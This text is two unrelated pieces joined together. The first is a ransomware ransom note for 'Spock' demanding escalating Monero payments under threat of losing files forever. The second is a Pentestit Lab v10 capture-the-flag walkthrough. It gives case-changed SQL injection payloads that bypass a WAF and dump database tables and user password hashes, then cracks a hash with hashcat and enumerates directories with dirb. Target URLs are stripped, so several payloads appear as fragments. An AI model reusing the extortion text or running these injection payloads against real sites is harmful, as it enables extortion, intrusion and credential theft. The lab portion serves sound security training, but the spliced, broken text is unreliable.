In the place you ran this program from, you should find a note (named RANSOM_NOTE.txt) similar to this one.
You will also find a file named 'pwd' - this is your encrypted password file. Although it was
generated by your computer, you have no way of ever decrypting it. This is due to the security
of both the way it was generated and the way it was encrypted. Your files were encrypted using
this password.

 ____  ____   ___   ____ _  __   _____ ___     _____ _   _ _____    ____  _____ ____   ____ _   _ _____ _ 
/ ___||  _ \ / _ \ / ___| |/ /  |_   _/ _ \   |_   _| | | | ____|  |  _ \| ____/ ___| / ___| | | | ____| |
\___ \| |_) | | | | |   | ' /     | || | | |    | | | |_| |  _|    | |_) |  _| \___ \| |   | | | |  _| | |
 ___) |  __/| |_| | |___| . \     | || |_| |    | | |  _  | |___   |  _ <| |___ ___) | |___| |_| | |___|_|
|____/|_|    \___/ \____|_|\_\    |_| \___/     |_| |_| |_|_____|  |_| \_\_____|____/ \____|\___/|_____(_)

  "Logic, motherfucker." ~ Spock.

Decrypting your files is easy. Take a deep breath and follow the steps below.

 1 ) Make the proper payment.
     Payments are made in Monero. This is a crypto-currency, like bitcoin.
     You can buy Monero, and send it, from the same places you can any other
     crypto-currency. If you're still unsure, google 'bitcoin exchange'.

     Sign up at one of these exchange sites and send the payment to the address below.

     Make note of the payment / transaction ID, or make one up if you have the option.

    Payment Address (Monero Wallet):

        Days   :  Monero  : Offer Expires
        0-2    :  50      : 03/18/17 15:32:14
        3-7    :  100     : 03/23/17 15:32:14
        8-14   :  200     : 03/30/17 15:32:14
        15-30  :  500     : 04/15/17 15:32:14

    Note: In 31 days your password decryption key gets permanently deleted.
          You then have no way to ever retrieve your files. So pay now.

 2 ) Email us.
     Send your pwd file as an email attachment to one of the email addresses below.
     Include the payment ID from step 1.

     Active email addresses:

 3 ) Decrypt your files.
     You will recieve your decrypted password file and a program called 'Spock'.
     Download these both to the same place and run Spock.
     Spock reads in your decrypted password file and uses it to decrypt all of the
     affected files on your computer.

     > IMPORTANT !
       The password is unique to this infection.
       Using an old password or one from another machine will result in corrupted files.
       Corrupted files cannot be retrieved.
       Don't fuck around.

 4 ) Breathe.

       _     _____     _______    _     ___  _   _  ____ 
      | |   |_ _\ \   / / ____|  | |   / _ \| \ | |/ ___|
      | |    | | \ \ / /|  _|    | |  | | | |  \| | |  _ 
      | |___ | |  \ V / | |___   | |__| |_| | |\  | |_| |
      |_____|___|  \_/  |_____|  |_____\___/|_| \_|\____|
                         _    _   _ ____     ____  ____   ___  ____  ____  _____ ____  
                        / \  | \ | |  _ \   |  _ \|  _ \ / _ \/ ___||  _ \| ____|  _ \ 
                       / _ \ |  \| | | | |  | |_) | |_) | | | \___ \| |_) |  _| | |_) |
                      / ___ \| |\  | |_| |  |  __/|  _ <| |_| |___) |  __/| |___|  _ < 
                     /_/   \_\_| \_|____/   |_|   |_| \_\\___/|____/|_|   |_____|_| \_\

Full version of the Ransom Note:

Full Ransom Note

Pentestit Lab v10 – The Site Token

In my previous post “Pentestit Lab v10 – The Mail Token”, we attained usernames through Intelligence Gathering, brute forced the SMTP Service, attained login credentials, and scored our first token. Today we will take our first steps at compromising the Global Data Security website – which will include the following:

  • Mapping the Attack Surface & Defenses
  • Exploiting SQL Injection w/ WAF Bypass
  • Cracking SQL Hashes
  • Finding the Site Token

If you are reading this post for the first time, and have no clue on what’s going on – then I suggest you start from the beginning and read “Pentestit Lab v10 – Introduction & Setup”.

I also included a ton of resources in my second post that I linked above – you should seriously check that out if you already haven’t!

Mapping the Attack Surface & Defenses:

Whenever we attempt to attack a web application, we have to start by mapping out the web app and its associated structure. That means finding directories, hidden links, files, URL Query’s, etc.

Once we mapped our application – we can start by looking for vulnerabilities such as SQL Injection, XSS, Path Traversal, etc.

For the Global Data Security website (which I will call GDS from now on), I considered the Security Blog a good starting point. 443 - Security Blog 443 – Security Blog

After going through all the links on the website, I noticed a particular URL parameter in the blog posts that caught my eye. mobile hack test page

Notice the id parameter being passed into the URL after post.php? We can actually test this parameter for SQL Injection!

Exploiting SQL Injection w/ WAF Bypass:

I began trying to exploit the id parameter, but for some reason every time I injected some SQL code, I was taken back to the home page.

This made me consider that there might be a WAF or Web Application Firewall in place, preventing me from exploiting this SQL Injection.

I decided to attempt a Case Change Bypass to see if I can somehow bypass the filter. This is due to the fact that some WAF’s only filter lowercase SQL keywords.

I began by injecting the following into the URL:,2%23

After submitting the query – you can see that the SQL Injection is in fact there, and that the Case Change allowed me to bypass the WAF filter. sql inject testing 1-2

Now that we got the SQL Injection to work – let’s start by pulling all the tables in the database with the following:,GroUp_ConCaT%28taBlE_SCheMa,0x20a,TAblE_NaME%29+FrOm+iNfOrmaTioN_scHeMa.TabLeS+WHerE+tAblE_SchEma=DaTabAsE%28%29%23 sql inject test page

Nice! Now that we got our table names, let’s pull all the columns from the “site” table.,GroUp_ConCaT%28TAblE_NaME,0x20,CoLumN_NaME%29+FrOm+iNfOrmaTioN_scHeMa.ColUmNs+WHerE+tAblE_SchEma=%27site%27%23 sql inject testing tables

We see that the users table has a username and password column, so let’s go ahead and dump any data in those columns.,GroUp_ConCaT%28useRnAMe,0x20,paSswOrD%29+FrOm+site.users%23 sql inject lindsey

Cracking MySQL Hashes:

Awesome, we got another username, and a SQL Hash of the associated user’s password. Let’s first start by saving the username for future reference, along with the other usernames we have.

root@kali:~/gds# nano names
root@kali:~/gds# cat names 

Since we got a SQL Hash, let’s use hash-identifier to see what type of hash it is. Then, we can use HashCat to try and crack it!

root@kali:~/gds# nano lindsey_hash
root@kali:~/gds# cat lindsey_hash 

root@kali:~/gds# hash-identifier
   #	 __  __ 		    __		 ______    _____	   #
   #	/\ \/\ \		   /\ \ 	/\__  _\  /\  _ `\	   #
   #	\ \ \_\ \     __      ____ \ \ \___	\/_/\ \/  \ \ \/\ \	   #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R #
   #							www.Blackploit.com #
   #						       Root@Blackploit.com #

 HASH: $1$w9aURG9k$Wf1VIpv9VET3v3VWZ4YD8. 

Possible Hashs:
[+]  MD5(Unix)


root@pentestit:~# hashcat -m 500 -a o lindsey_hash /usr/share/wordlists/rockyou.txt
Initializing hashcat v2.00 with 2 threads and 32mb segment-size...

Skipping line: cat lindsey_hash (signature unmatched)
Added hashes from file lindsey_hash: 1 (1 salts)
Activating quick-digest mode for single-hash with salt

[s]tatus [p]ause [r]esume [b]ypass [q]uit => r
All hashes have been recovered

Input.Mode: Dict (/usr/share/wordlists/rockyou.txt)
Index.....: 1/5 (segment), 3605274 (words), 33550339 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 20.45k words
Progress..: 166528/3605274 (4.62%)
Running...: 00:00:00:09
Estimated.: 00:00:02:48

Started: Mon Mar 20 07:46:37 2017
Stopped: Mon Mar 20 07:46:46 2017

After some time we see that the MD5 Hash is that of the password lindsey123.

Finding the Site Token:

Since we were able to compromise a username and password, we need to find a place where we can leverage these credentials.

At this point, I decide to run dirb to try and enumerate any interesting directories that I might have missed.

root@pentestit:~# dirb

DIRB v2.22 
By The Dark Raver

START_TIME: Mon Mar 20 07:50:58 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: ----
+ (CODE:200|SIZE:7343) 
---- Entering directory: ----
+ (CODE:302|SIZE:0) 
---- Entering directory: ----
---- Entering directory: ----
---- Entering directory: ----

---- Entering directory: ----

---- Entering directory: ----
---- Entering directory: ----
END_TIME: Mon Mar 20 08:00:01 2017

The admin console looks promising! So let’s go ahead and log in there! site login and token


Once logged in, you should automatically see the Site Token on the main page.

Token (2/13):

We found the token! Go ahead and submit it on the main page to gain points for it!

I didn’t post the actual token. Because, what would be the fun in that if I did? Go through and actually try to compromise the Blog to get the token!

Site  Token complete.PNG

You learn by practical work, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for the next post to compromise the next Token (3/13) – The SSH Token!